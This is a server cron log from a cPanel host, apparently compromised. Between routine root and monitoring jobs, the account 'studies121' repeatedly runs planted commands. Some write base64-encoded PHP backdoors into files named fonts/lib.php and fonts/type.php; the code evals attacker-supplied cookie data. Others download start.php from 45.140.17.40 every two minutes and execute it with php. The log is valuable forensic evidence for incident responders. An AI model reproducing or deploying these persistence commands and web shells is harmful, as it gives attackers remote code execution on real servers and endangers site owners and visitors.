Sep  1 11:13:01 ip-184-168-122-23 CROND[11998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:13:01 ip-184-168-122-23 CROND[12001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:14:01 ip-184-168-122-23 CROND[12119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:14:01 ip-184-168-122-23 CROND[12121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:14:01 ip-184-168-122-23 CROND[12120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:14:01 ip-184-168-122-23 CROND[12122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:14:01 ip-184-168-122-23 CROND[12123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:15:01 ip-184-168-122-23 CROND[12240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:15:01 ip-184-168-122-23 CROND[12241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:15:01 ip-184-168-122-23 CROND[12243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:15:01 ip-184-168-122-23 CROND[12242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:15:01 ip-184-168-122-23 CROND[12244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:15:01 ip-184-168-122-23 CROND[12246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:16:01 ip-184-168-122-23 CROND[12384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:16:01 ip-184-168-122-23 CROND[12385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:16:01 ip-184-168-122-23 CROND[12388]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:16:01 ip-184-168-122-23 CROND[12389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:16:01 ip-184-168-122-23 CROND[12392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:16:01 ip-184-168-122-23 CROND[12390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:17:01 ip-184-168-122-23 CROND[12500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:17:01 ip-184-168-122-23 CROND[12501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:17:01 ip-184-168-122-23 CROND[12504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:17:01 ip-184-168-122-23 CROND[12503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:18:02 ip-184-168-122-23 CROND[12692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:18:02 ip-184-168-122-23 CROND[12696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:18:02 ip-184-168-122-23 CROND[12694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:18:02 ip-184-168-122-23 CROND[12697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:18:02 ip-184-168-122-23 CROND[12695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:19:01 ip-184-168-122-23 CROND[12805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:19:01 ip-184-168-122-23 CROND[12808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:19:01 ip-184-168-122-23 CROND[12811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:19:01 ip-184-168-122-23 CROND[12812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12963]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:20:01 ip-184-168-122-23 CROND[12966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:20:01 ip-184-168-122-23 CROND[12962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:20:01 ip-184-168-122-23 CROND[12970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:21:01 ip-184-168-122-23 CROND[13227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:21:01 ip-184-168-122-23 CROND[13228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:21:01 ip-184-168-122-23 CROND[13229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:21:01 ip-184-168-122-23 CROND[13230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:22:01 ip-184-168-122-23 CROND[13441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:22:01 ip-184-168-122-23 CROND[13440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:22:01 ip-184-168-122-23 CROND[13444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:22:01 ip-184-168-122-23 CROND[13443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:22:01 ip-184-168-122-23 CROND[13449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:23:01 ip-184-168-122-23 CROND[13632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:23:01 ip-184-168-122-23 CROND[13634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:23:01 ip-184-168-122-23 CROND[13635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:23:01 ip-184-168-122-23 CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:24:01 ip-184-168-122-23 CROND[13743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:24:01 ip-184-168-122-23 CROND[13745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:24:01 ip-184-168-122-23 CROND[13747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:24:01 ip-184-168-122-23 CROND[13746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:24:01 ip-184-168-122-23 CROND[13748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:25:01 ip-184-168-122-23 CROND[13863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:25:01 ip-184-168-122-23 CROND[13868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:25:01 ip-184-168-122-23 CROND[13865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:25:01 ip-184-168-122-23 CROND[13869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
